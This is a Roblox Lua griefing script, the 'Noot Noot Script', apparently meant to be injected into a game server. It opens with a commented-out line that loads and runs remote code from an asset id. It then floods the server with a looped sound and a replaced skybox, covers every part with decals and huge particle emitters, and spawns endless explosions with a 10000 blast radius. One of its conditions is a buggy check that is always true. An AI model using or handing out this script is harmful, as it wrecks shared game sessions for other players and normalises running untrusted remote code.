--loadstring(game:GetObjects("rbxassetid://382365669")[1].Source)() local msg = Instance.new("Message",workspace) msg.Text = "Created By SageOfMumsV2 (Pingu) And Xeradius (AzuLX). - Noot Noot Script" wait(2) msg:Destroy() pingudecal = "http://www.roblox.com/asset/?id=382332426" local didpingu = true for i,v in pairs(game.Players:GetChildren()) do if v:IsA("Player") then local nooties = Instance.new("Sound", workspace) nooties.SoundId = "rbxassetid://109928136872365" nooties.Volume = 1 nooties.Looped = true nooties.PlaybackSpeed = 0.97 local pitch = Instance.new("PitchShiftSoundEffect") pitch.Octave = 1.22 pitch.Parent = nooties nooties:Play() end end wait(12) local Sky = Instance.new("Sky", game.Lighting) Sky.SkyboxBk = pingudecal Sky.SkyboxDn = pingudecal Sky.SkyboxFt = pingudecal Sky.SkyboxLf = pingudecal Sky.SkyboxRt = pingudecal Sky.SkyboxUp = pingudecal local function modelasd() for i,v in pairs(workspace:GetChildren()) do if v:IsA("Model") then for i,a in pairs(v:GetChildren()) do local top = Instance.new("Decal",a) top.Face = "Top" top.Texture = pingudecal local btm = Instance.new("Decal",a) btm.Face = "Bottom" btm.Texture = pingudecal local lft = Instance.new("Decal",a) lft.Face = "Left" lft.Texture = pingudecal local rft = Instance.new("Decal",a) rft.Face = "Right" rft.Texture = pingudecal local frnt = Instance.new("Decal",a) frnt.Face = "Front" frnt.Texture = pingudecal local bk = Instance.new("Decal",a) bk.Face = "Back" bk.Texture = pingudecal local VTest = Instance.new("ParticleEmitter") VTest.Parent = a VTest.Texture = pingudecal VTest.Speed = NumberRange.new(200) VTest.Rate = 200 VTest.Size = NumberSequence.new(10000,10000) VTest.Lifetime = NumberRange.new(1000) local pepe = coroutine.create(function() while wait() do local Explosion = Instance.new("Explosion",a) Explosion.BlastRadius = 10000 end end) coroutine.resume(pepe) end end end end local function partasd() for i,a in pairs(workspace:GetChildren()) do local top = Instance.new("Decal",a) top.Face = "Top" top.Texture = pingudecal local btm = Instance.new("Decal",a) btm.Face = "Bottom" btm.Texture = pingudecal local lft = Instance.new("Decal",a) lft.Face = "Left" lft.Texture = pingudecal local rft = Instance.new("Decal",a) rft.Face = "Right" rft.Texture = pingudecal local frnt = Instance.new("Decal",a) frnt.Face = "Front" frnt.Texture = pingudecal local bk = Instance.new("Decal",a) bk.Face = "Back" bk.Texture = pingudecal local VTest = Instance.new("ParticleEmitter") VTest.Parent = a VTest.Texture = pingudecal VTest.Speed = NumberRange.new(200) VTest.Rate = 200 VTest.Lifetime = NumberRange.new(1000) VTest.Size = NumberSequence.new(10000,10000) local pepe = coroutine.create(function() while wait() do if a.Name ~= "Head" or "Torso" or "Left Arm" or "Right Arm" or "Left Leg" or "Right Leg" then local Explosion = Instance.new("Explosion",a) Explosion.BlastRadius = 10000 end end end) coroutine.resume(pepe) end end partasd() modelasd()